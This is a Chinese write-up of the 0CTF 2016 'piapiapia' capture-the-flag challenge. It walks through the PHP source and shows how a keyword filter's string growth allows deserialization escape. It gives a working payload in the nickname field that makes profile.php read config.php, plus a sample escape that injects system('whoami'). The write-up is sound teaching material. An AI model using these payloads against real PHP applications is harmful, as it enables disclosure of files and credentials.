代码审计[一] [0CTF 2016]piapiapia -反序列化字符自增导致文件包含
代码审计[一]
[0CTF 2016]piapiapia
对着登录框一顿乱注,发现都没什么效果,于是转向目录爆破。
gobuster不知道为什么爆不了,只能用dirsearch来了
dirsearch -u [url] -s 1 -t 10
爆到了一整个源码备份压缩包,下载后进行分析
源码分析
index.php
对于html部分,可以见到是登录界面,就不贴出来了。而php代码部分:
<?php
require_once('class.php');//引入了class.php文件
//判断用户是否已经登录,如果已登录就重定向到profile.php
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
//输入限制
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
//链接到class.php的函数中,作用是和数据库中的账密匹配
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
那就往class.php方向走
class.php
这个文件的篇幅很大,就拆有用的部分出来分析。
//注册页面验证
public function register($username, $password) {
//调用 父类中的filter处理值
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
//插入数据库中
return parent::insert($this->table, $key_list, $value_list);
}
//登录页面查询
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
//在数据库中查询是否存在此信息
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function filter($string) {
//过滤符号 '和 \\
$escape = array('\'', '\\\\');
//用implode讲元素用|连起来,做成一个正则表达式模式,下面同理
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
register.php
从class.php中,我们了解到那是一个处理各种情况下的数据库操作代码。我们并没有一个登录的环境session,目录爆出来有register页面,那就直接去注册一个。html部分是表单,就省略了,以下是php代码
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
//对username和password做了输入限制
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
//限制都通过,且数据库没有相同用户下,写入注册数据到数据库中,重定向到index.php
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
重定向到index.php,成功登录验证后会跳转到profile.php
profile.php
打开一看是个详细信息补全页面,html是展出信息,所以依然省略。以下是php代码
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
//对session中的用户到数据库中查询对应信息
$profile=$user->show_profile($username);
if($profile == null) {
//若没有任何信息,重定向到update.php
header('Location: update.php');
}
else {
//若有信息,则反序列化$profile
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
//注意到有一个file_get_contents函数
$photo = base64_encode(file_get_contents($profile['photo']));
?>
现在找到了一个能文件包含的函数,结合起序列化,我们可以做一个字符逃逸的反序列化payload,但是现在不知道包含些什么文件,继续往下看。
update.php
同样,html是表单部分,不看。以下是php代码
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
//各种输入过滤验证
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
//查了一下这个函数,是讲上传文件移动到指定位置的
//$file['tmp_name'] --原路径
//'upload/' . md5($file['name']) --upload文件下用md5命名每个文件
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//看到这里md5,本来想试试ffifdyop的,但是跟着update_profile跳转后,发现符号'是被过滤的,动不了手脚
//那方向明确了,就是反序列化字符逃逸,但是该包含什么文件?
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
?>
config.php
最后一个文件,一看源码,豁然开朗了。那就文件包含config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
反序列化字符逃逸
分析filter函数,可以看到特定字符会被过滤为hacker,而hacker有6个字符,特定字符数据中,有5/6位的字符,那么可以构成一个字符增加利用
public function filter($string) {
//过滤符号 '和 \\
$escape = array('\'', '\\\\');
//用implode讲元素用|连起来,做成一个正则表达式模式,下面同理
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这里贴上我之前的些笔记
字符增加的利用
$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我们可以得知字符替换后长度会增加6,那么我们可以做一些敏感命令藏在语句当中。
//比如";s:2:"v2";s:16:"system("whoami")";}这一段
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));
输出结果:
object(test)#1 (2) {
["v1"]=>
string(48) "nohackernohackernohackernohackernohackernohacker"
["v2"]=>
string(16) "system("whoami")"
}
做题
重新来看看这两个
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
并起来一起看就有头绪了,可以在nickname的输入中用字符逃逸的方法挤一个config.php给photo,然后从profile.php界面图片的base64解码内容就是config.php的所有内容
构造payload
因为一开始忘记nickname有输入限制,导致我构造出来的一直错误。所以看了网上一圈wp,发现还能用数组方式来绕过,学到了。
nickname[]=where*34";}s:5:"photo";s:10:"config.php";}//只能是where,其他都是6位字符
经过filter函数后变成
nickname[]=hacker*34";}s:5:"photo";s:10:"config.php";}
增加的34个字符,恰好把";}s:5:"photo";s:10:"config.php";}
吐出来。而对于为什么前面会有{
看到了一篇wp做了解析才明白,数组在序列化中样式会有所不同
[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客
实操
注册-->登录-->profile开始抓包
放包后访问profile.php,查看图片源码,base64解码